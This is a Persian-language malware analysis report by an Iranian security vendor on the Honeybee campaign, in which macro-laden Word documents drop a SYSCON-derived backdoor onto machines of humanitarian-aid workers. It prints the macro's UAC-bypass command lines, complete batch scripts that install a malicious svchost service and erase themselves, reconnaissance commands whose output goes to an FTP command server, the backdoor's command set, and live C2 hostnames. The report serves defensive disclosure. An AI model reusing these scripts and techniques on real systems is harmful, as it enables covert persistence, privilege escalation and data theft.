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 Honeybeeو تحلیل عملیات سایبری  یبررسعنوان سند: 
 SPT-A-0148-00شناسه سند: 

 عه، شرکت مهندسی شبکه گسترـکننده: گروه تحقیق و توستهیه
 1397فروردین  21تاریخ ویرایش: 

 باشد.گستر" مجاز میحق تکثیر: کلیه حقوق این سند برای شرکت مهندسی شبکه گستر محفوظ است. بازنشر مطالب صرفاً با ذکر نام "شرکت مهندسی شبکه 
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  البـطـت مـرسـهـف                

 

 4 یمعرف

 5 نهیزمشیپ

 6 کنندهافتیدر 

 7 یل فنیه و تحلیتجز 

 7 روش اجرا
 12 شده یآور اطلاعات جمع

 12 اطلاعات یز سافشرده
 12 یاضاف نیها و فرامتیقابل

 13 یر یگجهینت

 13 منبع

 14 وستیپ

 14 آلوده یهالیفا ییمشخصات شناسا
 14 استفاده شده ینترنتیا یهاینشان
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 معرفی

، آندر جریان  اند کهکرده ییرا شناسا Honeybeeبا عنوان  یدیجد عملیات سایبری ،McAfeeشرکت  شرفتهیپ داتیتهد قاتیمرکز تحق کارشناسان
یک  از طریق هستند بشردوستانه یهاسازماندر  کاربرانی شاغلاکثراً  که خود را اهداف یکره شمال مرتبط با یاسیموضوعات س مهاجمان با بکارگیری

 .کنندمیبه بدافزار آلوده  Microsoft Wordسند آلوده 

Honeybee –  از نام نویسنده اکثر اسناد استفاده شده در این حمله برگرفته شده است –به معنای زنبور عسل. 

 
 Honeybeeعملیات سایبری نمایی داده – 1شکل 

 ارائه شده است. McAfeeشرکت  شرفتهیپ داتیتهد قاتیمرکز تحقهای انجام شده توسط در این گزارش نتایج بررسی
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 زمینهپیش

 تنامیدر کشور و manual.docبا نام  Wordسند  کیرا در قالب  SYSCON 1یاز درب پشت یدیگونه جد McAfeeشرکت  ،یجار  یلادیسال م لیدر اوا
 کند.یمشاهده م

 

 
 خصوصیات سند – 2شکل 

 
بر روی دستگاه  و نموده افتیرا در  SYSCON  یپشتاز درب یاروز شدهو به دیاست که نسخه جد مخربی 2یکروما یحاو مذکور سند آلودهدر حقیقت 

 کند.یاجرا م قربانی
 
 .قرار گرفته بوداستفاده مورد حمله  نیچند درنیز  2017سند آلوده در سال  نیا
 

 گیریبهره SYSCONکه از  زیروش در حملات سال گذشته ن نیکند. ایاستفاده مها داده 4رمز کردن ی( برا3یسفارش ی)حروف الفبا کتای دیکل کیاز  ماکرو
 شده بود، مشاهده شده است.

 
 دیکل یحاو . هر چند این سندشده است جادیا Windows User هم مرتبط با این عملیات شناسایی شده که توسط کاربری با عنوان یگر یآلوده د سند

 کند.یاستفاده م Honeybeeبا اسناد  کسانی یو روش اجرا ماکرواما از  است یمتفاوت 5یرمزنگار 
 
مخرب را  لی" نام دارد و فاInternational Federation of Red Cross and Red Crescent Societies – DPRK Country Officeسند آلوده، " نیا

 :کندیو اجرا م افتیدر  زیر یبه نشانخود  یاز سرور فرمانده
 

 1113427185[.]ifastnet[.]org 
 
 کند.یاز آن استفاده کرده است، اشاره م Honeybee سند که یبه همان سرور  ینشان نیا
 

                                                             
1 Backdoor 
2 Macro 
3 Custom Alphabet 
4 Encrypt 
5 Encoding Key 
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 ftp.byethost11.comبه نشانی  Honeybeeهای محتویات پوشه حاوی نمونه – 3شکل 

 
 

 بهمن ماه 29از تاریخ  Honeybeeهای آلوده شده توسط فهرستی از سیستم – 4شکل 

 کننده افتیدر 

 سرقت شده 7نامهگواهی کی باکننده افتیدر  نی. ااستفاده شده است MaoChengبا عنوان  6کنندهافتیبرنامه در  کدر این عملیات از ی
Adobe Systems ساز درهمبا  و 1396دی  26 خیشده در تار  لیکامپا – زبان یابدافزار کره کینامه در یگواه نیا از. امضا شده است

35904f482d37f5ce6034d6042bae207418e450f4 –  استفاده شده است.نیز 

 و فایل در مسیراطلاعات آن استفاده نشده و  8از هیچ ترفند مهندسی اجتماعی بدافزار نیداده ا سازی بانکجالب اینکه که برای انتخاب مسیر ذخیره
 شود:می نگهداریزیر 

 D:\Task\DDE Attack\MaoCheng\Release\Dropper.pdb 

                                                             
6 Dropper 
7 Certificate 
8 Social Engineering 

ftp://ftp.byethost11.com/
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. دهدافزار به کاربر نشان میخود را به صورت یک سند تحت این نرم Wordهای نشان فایل استفاده ازاست که با  Win32 ییاجرا لیفا کی بدافزار
 Honeybeeآن  سندهیکه نورا  یسند جعل کینمونه  نیاهمچنین، است.  Wordاسناد آلوده  ریمشاهده شده در سا یبدافزار مشابه بدافزارهااین 

آن توسط مهاجمان پس بررسی عدم که احتمالًا ناشی از کننده است افتیدر  یاشکال در روند اجرا کی یحاو مذکور نهکند. اما نمویم افتیاست در 
 .استاز امضا شدن 

 اند.استفاده کرده Xeroبه نام  یابر  انشیبر را یمبتن یشرکت حسابدار  کی یاز نام و نشان تجار  ،یجعلمهاجمان در محتوای سند 
 

 
 MaoChengسند جعلی دریافت شده توسط  – 5شکل 

 یفن لیو تحل هیتجز 

 روش اجرا
 :دهدنمایش می اندمورد استفاده قرار گرفته اتیعمل نیکه در ارا  ییاجزا، زیرجدول 

 سازدرهم نوع فایل نویسندهنام  تاریخ ایجاد
1/17/2018 Honeybee Microsoft Word (OLE DOC) 9b7c3c48bcef6330e3086de592b3223eb198744a 
1/10/2018 Windows User Microsoft Word (OLE DOC) 9e2c0bd19a77d712055ccc0276fdc062e9351436 
2/2/2018 Honeybee Microsoft Word (OLE DOC) 85e2453b37602429596c9681a8c58a5c6faf8d0c 
2/2/2018 Honeybee Microsoft Word (OLE DOC) f3b62fea38cb44e15984d941445d24e6b309bc7b 
2/2/2018 Honeybee Microsoft Word (OLE DOC) 1d280a77595a2d2bbd36b9b5d958f99be20f8e06 
1/30/2018 Honeybee Microsoft Word (OLE DOC) a99be81d1955f315abdee4eb774e3da60816f3d2 

2/1/2018 Honeybee Microsoft Word (OLE DOC) 66d2cea01b46c3353f4339a986a97b24ed89ee18 
2/3/2018 Honeybee Microsoft Word (OLE DOC) 6d74fb57a2bfa22d0c769ccfc03dbf6a5221e006e 
 d41daba0ebfa55d0c769ccfc03dbf6a5221e006a آلوده ایجاد کننده سرویس DLL نامشخص 1/15/2018
 UAC Bypass DLL fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3 نامشخص 11/21/2017
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 یهنگام است که ییماکرو یحاو سندکند. یآلوده عمل م DLL لیکننده دو فاافتیو به عنوان در ست هاستمیآلوده کردن س رهی، آغاز زنجمخرب سند
 Base64برنامه رمزشده با روش  کی یحاو نیهمچن سند. دکنمیاجرا را شود، کد مخرب یباز م Document_Open)(با استفاده از تابع فایل آن که 

 شود.یم ذخیره سکید یبر رو شدن، ییرمزگشاشده و پس از  خوانده کرو( است که توسط مایسفارش دی)رمز شده با کل

 
 ()Document_Openتابع  – 6شکل 

 
 کند:یرا اجرا م ریز  نیفرامی مخرب کروما

 رمز شده  لیفاCAB خواند.یرا م 
 لیفا CAB با نام  و سپس آن را کرده ییرا رمزگشاsetup.cap ریدر مس %temp%  دکنیمذخیره. 

 

 
 Wordدر سند  CABفایل رمز شده  – 7شکل 
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 %temp%در مسیر  CABرمزگشایی و نوشتن فایل  – 8شکل 

 

 
 ماکرودر فضای حافظه اختصاص یافته به  CABفایل رمزگشایی شده  – 9شکل 

 
 باشد:یم ریها و توابع ز لیشامل فا CAB لیفا
 

 NTWDBLIB.dll :یهالیفا یاجرا یکه برا فایلی است Batch نیداده برنامه ا گاهی. پاردیگیمورد استفاده قرار م DLL ریدر مس 
D:\Task\MiMul\NTWDBLIB\Release\NTWDBLIB.pdb .قرار دارد 

 install1.bat :فایل کی Batch  سیسرو یانداز راه یبراکه COMSysAPP – گیرد.مورد استفاده قرار می – یتیب 64 یمعمار  در 
 install2.bat :فایل کی Batch سیسرو یانداز راه که به منظور COMSysAPP – گیرد.مورد استفاده قرار می –ی تیب 32 یمعمار  در 
 ipnet.ini :رمز شده با روش  لیفا کیBase64  سرور  کیارتباط با  یبرقرار  یبراکهFTP یسنجصالت. اطلاعات اگیردمورد استفاده قرار می 

 به صورت رمز شده قرار دارد. ini لیدر فا
 

 
 ipnet.iniدر فایل  FTPسنجی سرور اصالتاطلاعات  – 10شکل 

 ipnet.dllلی: فا DLL با استفاده از  سیسرو کیکه به عنوان  یاآلوده(svchost.exeاجرا م )نیداده برنامه ا بانکشود. ی DLL ریدر مس 
D:\Task\MiMul\FTPCom_vs10\Release\Engine.pdb ردیگیقرار م. 

 
عبور از  یبرا expand.exe ایو  wusa.exeعامل از  ستمیبسته به نوع س. کندیم ذخیره systemroot%\system32% ریرا در مس CAB لیفا کروما

 د.شویم استفاده – UACبه اختصار  – User Account Controlاعلان 
 

و عبور  یدسترس سطح یجهت ارتقا cliconfg.exe قیرا از طر  NTWDBLIB.dllآلوده  لیو فا کردهرا حذف  CAB لیفا کروها، مالیپس از استخراج فا
 کند.یاجرا م UACاز 
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 .شودیدر خط فرمان اجرا م ماکروتوسط  ریدستورات ز 
 

 cmd /c wusa %TEMP%\setup.cab /quiet /extract:%SystemRoot%\System32 && del /f /q %TEMP%\setup.cab && 
cliconfg.exe 

 cmd /c expand %TEMP%\setup.cab -F:* %SystemRoot%\System32 && del /f /q %TEMP%\setup.cab && cliconfg.exe 
 

به  DLL Hijacking قیاز طر  UACاست. عبور از  Windowsعامل  ستمیدر حمله به س یروش مرسوم، UAC سد عبور از یبرا cliconfg.exe استفاده از
 دارد: ازین ریموارد ز 

 
 ییبرنامه اجرا کی  Windowsشده باشد. هیخودکار تعب یدسترس یکه در آن ارتقا 
 ییبرنامه اجرا کی Windows  ریمس کیدر ( و پوشه امن%systemroot%\system32) 
 

 کند.یم میتنظ سیسرو کیرا به عنوان  مخرب CAB ،ipnet.dll لیاستخراج شده از فا Batch فایل از دو یکی یبا اجرا NTWDBLIBآلوده  DLL لیفا
 

 
 کنداجرا می cliconfig.exeنصب کننده را با استفاده از  Batchهای فایل NTWDBLIB – 11شکل 

 
به  ریدهند. در ز یم رییتغ ipent.dll یبارگذار  یرا برا COMSysApp یستمیس سیاند، سروحمله مورد استفاده قرار گرفته نیکه در ا Batch یهالیفا

 اشاره شده است:( یتیب 32 ای یتیب 64عامل ) ستمیبسته به نوع س Batch یهالیفا اتیمحتو
 

install1.bat (x64) 
@echo off 
sc stop COMSysApp 
sc config COMSysApp type= own start= auto error= normal binpath= "%windir%\SysWOW64\svchost.exe -k COMSysApp" 
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysA
pp" /f 
reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%
\SysWOW64\ipnet.dll" /f 
sc start COMSysApp 
del /f /q %windir%\SysWOW64\install2.bat 
del /f /q %windir%\SysWOW64\install1.bat 
 
install2.bat (x86) 
@echo off 
sc stop COMSysApp 
sc config COMSysApp type= own start= auto error= normal binpath= "%windir%\System32\svchost.exe -k COMSysApp" 
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysA
pp" /f 
reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%
\system32\ipnet.dll" /f 
sc start COMSysApp 
del /f /q %windir%\System32\install1.bat 
del /f /q %windir%\System32\install2.bat 
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 دهند:یرا انجام م ریموارد ز  Batch یهالیفا
 

 سیسرو COMSysApp کنند.یرا متوقف م 
 (ستمیس یمداوم بر رو یاجرا ماتی)تنظ .دهندیخودکار انجام م یانداز راه یبرا را سیسرو ماتیتنظ 
 یاجرا یبرا 9محضرخانه یدهایرا در کل یراتییتغ DLL پروسه مجاز تحت svchost.exe ند.کنیم اعمال 
 ریمس DLL در پروسه  یبارگذار  یآلوده را براsvchost.exe کنند.یم نییتع 
 کنند.یمدر انتها اقدام به حذف خود  ،ستمیس یبر روی خود ردپا از بین بردن یبرا 
 ipnet.dll  و تحت پروسه  سیسرو کیبه عنوانsvchost.exe شود.یاجرا م 

 
DLL دارد تا پروسه  فهیوظ نیآلوده همچنcliconfig.exe مخرب لیو فا کرده را متوقف NTWDBLIB.DLL  حذف کند: ریفرمان ز  قیرا از طر 

 
 cmd /c taskkill /im cliconfg.exe /f /t && del /f /q NTWDBLIB.DLL 

 
 شود.یآلوده انجام م DLLکه به آنها اشاره شد توسط  ییهاتیقابل یتمام

 
 وهیاز ش شناسایی شده که( 9e2c0bd19a77d712055ccc0276fdc062e9351436ساز: کننده )با درهمافتیمخرب در  لیاز فا یگر ینوع دهمچنین 

 شده است. جادیا 1396دی ماه  20 خیسند در تار  نیکند. ایاستفاده م یسفارش دیکل کیمشابه با  Base64 ییرمزگشا
 

 
 9e2c0bd19a77d712055ccc0276fdc062e9351436ساز محتوای فایل با درهم – 12شکل 

 
از آنها را  یکی( ، یتیب 32 ای یتیب 64عامل ) ستمیس یکننده بسته به نوع معمار افتیشده که در  لیتشک CAB لیاز دو فا نینوع از بدافزار همچن نیا

 .دهدی% قرار مtemp% ریدر مس
 

 به شرح زیر است: دی ماه 26ایجاد شده در این نسخه با نسخه  هایتفاوت
 

 لیدو فا CAB  در سندWord  درText Box لیفا یبه انتهادی ماه  26نمونه که در  یدر صورت .اندقرار گرفته DOC اند.اضافه شده 
 لیفا کی CAB لیفا کیو  یتیب 32 یهاستمیس یبرا CAB وجود دارد. نسخه از بدافزار نیدر ا یتیب 64 یهاستمیس یبرا 
 عبور از  یبدافزار برا نیاUAC  ازuacme.exe  به همراهdummy.dll کند.یاستفاده م 
 DLL لیفا install.bat مشابه  – سیسرو ماتیانجام تنظ یرا براNTWDBLIB.dll – کند.یاجرا م 
 یهالیممکن است فا exe  وdummy.DLL به صورت مجزا وجود داشته باشند.  یتیب 32و  یتیب 64عامل  یهاستمیس یبراipnet.dll زین 

 وجود داشته باشد. یتیب 32و  یتیب 64ممکن است به صورت 
  ،کندیاستفاده م ریز  فرماناز  کرومادر این نسخه: 

 cmd /c expand %TEMP%\setup.cab -F:* %TEMP% && cd /d %TEMP% && del /f /q setup.cab && uacme.exe 
  یهالیموجود در فا یمربوط به سرور فرمانده سنجیاصالتاطلاعات CAB متفاوت است. 

                                                             
9 Registry 
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 شده یآور اطلاعات جمع
ارسال  یو به سرور فرمانده شده یآور جمعهای در حال اجرا، از روی آن دستگاه آلوده شده و فهرست پروسه با استفاده از فرامین زیر، مشخصات

 شوند.یم
 cmd /c systeminfo >%temp%\temp.ini 
 cmd /c tasklist >%temp%\temp.ini 

 اطلاعات یساز فشرده
 شود:یانجام م بیترت نیها به اداده یساز فشرده فرآیند

 
 یهالیفا temp.ini  است: ریز  یمطابق الگو یمتن لیشوند. فایم یکپ یمتن لیفا کیدر 

 From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt 
 نام  با یلیدر فا یمتن یهالیفا یمرحله تمام نیدر اtemp.zip ریدر مسکه این فایل شده  یگانیبا %tempشود.یم رهی% ذخ 
 فشرده با روش  لیفاBase64  که در سند آلوده مورد استفاده قرار گرفته است( و  یدیمشابه کل ،یسفارش دیکل کیرمز شده )با استفاده از

 شود.یم یکپ post.txt لیسپس در فا
 لیفا txt شود.یم ارسال یسرور فرمانده به 

 ها و فرامین اضافیقابلیت
DLL  آلوده با سرورFTP  ریمس و کردهارتباط برقرار /htdoc/ کند:یجستجو م ریز  یدیبا کلمات کل ییهالیفا افتنی یرا برا 

 
 TO EVERYONEآلوده یانینقاط پا یبه تمام نی: ارسال فرام 
 TO <COMPUTERNAME>مشخص یانینقطه پا کیبه  نی: ارسال فرام 

 
 کند:یم یبانیپشت ریز  فرامیناز  بدافزارهمچنین 

 
 cmd /c pull <filename>بخشمشخص شده در  لی: فا <filename را به >temp.zip  پس از رمزگذاری و کردهاضافه temp.zip  با روش

Base64،  د.شویم یگذار بار  یدر سرور فرماندهآن را 
 cmd /c chip <string>ماتیتنظ لی: فا ipnet.ini لیدر فارا ( ی)اطلاعات ارتباط با سرور فرمانده دیجد ماتیکند و تنظیرا حذف م ipnet.ini 

 .سدینویم یدیجد
 cmd /c put <new_file_name> <existing_file_name>مشخص شده در قسمت > یهالی: فاexisting_file_nameیدیجد لی< را در فا 

 کند.یرا حذف م یقبل یهالیو فا کرده یکپ
 /user <parameters>تابع  یفراخوان قیشده از طر  نییتع یشده را با پارامترها دریافت یهالی: فاCreateProcessAsUser کند.یاجرا م 
 cmd /c <command>کند.یآلوده اجرا م یانینقطه پا یرا بر رو نی: فرام 
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 یر یگجهینت

 .هستندزبان  یاکره نگردانندگان آ ، احتمالاً این حمله مشاهده شده ییاجرا یهالیکه در اسناد و فا یمختلف یهادادهاساس فرا بر
 

. انددو کره فعال هستند، هدف قرار داده انیبشر دوستانه و روابط م یهاکمک مرتبط با یهارا که در حوزه یافراد انرسد، مهاجمیبه نظر مهمچنین 
مشاهده شده  زیو کانادا ن یژاپن، اندونز  ن،یسنگاپور، آرژانت یمانند کشورها یکره جنوب یبدافزار در خارج از مرزها نیا تیاز فعال ییهاهالبته نمون

 است.
 

 یسیفرد کدنوبدافزار به صورت منحصربه ءجز نیشده است اما چند توسعه داده SYSCON یپشتدرب یمیقد یهانسخهمبتنی بر بدافزار  نیا اگرچه
 شده است. جادیحمله ا نیا یبرا یبه صورت اختصاص MaoChengکننده افتیر محققان معتقدند د. ستاشده

بعمن

 https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-
targeting-humanitarian-aid-groups/ 
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 پیوست

 های آلودهفایلشناسایی مشخصات 

Bitdefender McAfee سـازدرهـم 

Trojan.GenericKD.30372733 Trojan-UACByPass!E69500F133B4 fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3 
Gen:Variant.Ursu.123325 Trojan-FPFU!9ABD1767B449 f684e15dd2e84bac49ea9b89f9b2646dc32a2477 
VB:Trojan.VBA.Dropper.D W97M/Downloader.chr 1d280a77595a2d2bbd36b9b5d958f99be20f8e06 
Gen:Variant.Ursu.123325 Trojan-FPFU!ACD00E87FEAC 19d9573f0b2c2100accd562cc82d57adb12a57ec 

Gen:Variant.Johnnie.92642 Trojan-FPFU!587DA1534B7E f90a2155ac492c3c2d5e1d83e384e1a734e59cc0 
Gen:Variant.Ursu.123325 Trojan-FPFU!8D4210935BA3 9b832dda912cce6b23da8abf3881fcf4d2b7ce09 
VB:Trojan.VBA.Dropper.D W97M/Downloader.chr f3b62fea38cb44e15984d941445d24e6b309bc7b 
VB:Trojan.VBA.Dropper.D W97M/Downloader.chr 66d2cea01b46c3353f4339a986a97b24ed89ee18 

Gen:Trojan.Heur.D.iC4@dmskeCgi Trojan-HoneyBee 7113aaab61cacb6086c5531a453adf82ca7e7d03 
Gen:Variant.Ursu.123325 Trojan-HoneyBee d41daba0ebfa55d0c769ccfc03dbf6a5221e006a 
Gen:Variant.Ursu.123325 Trojan-FPFU!BB2FBD8D143E 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c 
Gen:Variant.Ursu.123325 Trojan-HoneyBee 35ab747c15c20da29a14e8b46c07c0448cef4999 
Gen:Variant.Ursu.123325 Trojan-FPFU!36614876EEA3 e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42 
Gen:Variant.Ursu.123325 Trojan-FPFU!FAC0A84C3D04 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0 

Trojan.GenericKD.40156222 Trojan-FPFU!828930DCD7C0 bca861a46d60831a3101c50f80a6d626fa99bf16 
Gen:Variant.Ursu.123325 Trojan-FPFU!41E9397A9E0F 01530adb3f947fabebae5d9c04fb69f9000c3cef 

Gen:Trojan.Heur.LP.cu4@aiVJp8ji Trojan-FPFU!1ACD45C751FA 4229896d61a5ad57ed5c247228606ce62c7032d0 
Trojan.Downloader.JUFM Trojan-FPFU!81AA0527C789 4c7e975f95ebc47423923b855a7530af52977f57 
Gen:Variant.Ursu.123325 Trojan-FPFU!9A925E048612 5a6ad7a1c566204a92dd269312d1156d51e61dc4 
Gen:Variant.Ursu.123325 Trojan-FPFU!4017CE64F321 1dc50bfcab2bc80587ac900c03e23afcbe243f64 
Gen:Variant.Ursu.123325 Trojan-FPFU!E00E2D202F5A 003e21b02be3248ff72cc2bfcd05bb161b6a2356 
VB:Trojan.VBA.Dropper.D W97M/Downloader.chr 9b7c3c48bcef6330e3086de592b3223eb198744a 
VB:Trojan.VBA.Dropper.D W97M/Downloader.chr 85e2453b37602429596c9681a8c58a5c6faf8d0c 

 های اینترنتی استفاده شدهنشانی
 ftp.byethost31.com 
 ftp.byethost11.com 
 1113427185.ifastnet.org 
 navermail.byethost3.com 
 nihon.byethost3.com 
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 ...ر اتاق خبر شبکه گستر بخوانیدد
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 تأسیس گردید 1370مهندسی شبـكه گستر در سال شركت 
افزارهای اولیـن شـركت ایـرانـی است كـه در زمینه نرم و

ضـدویـروس فعـالیت تخصصی و متمـرکـزی را آغـاز 
 . در ابتـدا، همكـاری مشتـركی بیـن شركت مهندسی شبـكه گستـر و شركت انگلیسیه استكـرد

S & S International  تولیدكننده ضدویروس مشهور(Toolkit آغاز گردید. در مدت كوتاهی، با )
در ایران، بـه  S & S Internationalعنوان نماینده رسمی و انحصاری  فعالیت شبكه گستر به

 ترین ضدویروس در ایران تبدیل شد.به محبوب Dr Solomon’s Toolkitتـدریج ضدویروس  
، شركت 1377در سـال  McAfeeتوسط شرکت   S & S Internationalپس از خرید شرکت 

افزارهای ضدویروس المللی فعالیت خود را بر روی نرمگستر نیز مانند دیگر نمایندگان بین شبكه
McAfee ـعنوان فروشنده مج ز شبكه گستر بهـنی اکنونه داد. ـادام( ازAuthorized Reseller در )

 نماید.ایران اقدام می و خدمات درمنطقه خاورمیانه، به ارائه محصولات 
می ـب نمایندگی رسـر موفق به کسـتـه گسـکـبـش یـسدـنـهـت مـشـرک 1384در سـال 

 مـدیریت یکپـارچـه تهـدیـدات تولاـ، سـازنـده محصAstaroت آلمانی ـرکـش
(Unified Threat Management گردید. به دنبال رشد چشمگیر و موفقیت جهانی محصولات )

انگلیس، اقدام به خرید این شرکت آلمانی  Sophosشرکت  1390، در سال Astaroامنیتی شرکت 
، Sophosشرکت  همکاری با بانمود. به دنبال این نقل و انتقال، شرکت مهندسی شبکه گستر 

 Sophosسابق را تحت نام  Astaroداده و اکنون محصولات خود را در این زمینه ادامه فعالیت 
 نماید.در ایران عرضه می

عنوان  را به Bitdefenderشرکت مهندسی شبکه گستر عرضه محصولات ضدویروس  1391از سال 
عرضه محصولات ضدویروس ( رسمی در ایران آغاز کرد. Distributorکننده )نماینده و توزیع

Bitdefender  در کنار محصولات امنیتیMcAfee پاسخی به شرایط و نیازهای متفاوت کاربران ،
تر، تر و محصولی مقرون به صرفهتر، مدیریت آساناست. ضد ویروس چابکبوده و مدیران شبکه 

، Bitdefenderبا عرضه محصولات ضدویروس  که کاربران و مدیران شبکه بوداز برخی  انتظارات
 های این بخش از بازار پاسخ داد.شبکه گستر به نیاز

 ینداز اراه و نصب یهاپروژه نیاز بزرگتر  یبرخ یشرکت مهندسی شبکه گستر افتخار دارد که مجر 
در کشور بوده  امنیت شبکهمحصولات  یبانیو پشت ینگهدار  قراردادهای نیتر مدت یو طولان

 است.
که صدها هزار کاربر را در کشور دهی به هزاران شرکت و سازمان این شرکت علاوه بر خدمات

 باشد.شوند، دارای شبکه نمایندگی فروش و پشتیبانی در سراسر کشور نیز میشامل می
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 273شماره    خیابان شهید دستگردی )ظفر(  تهران   
 021 – 42052تلفن / دورنگار   

www.shabakeh.net           info@shabakeh.net 

 مـرکـز آمــوزش

events.shabakeh.net 

 خـبــراتــاق 

newsroom.shabakeh.net 

 شـرکت تارنمای

WWW.shabakeh.net 

 و پشتیبانی خدمات پس از فروش

my.shabakeh.net 


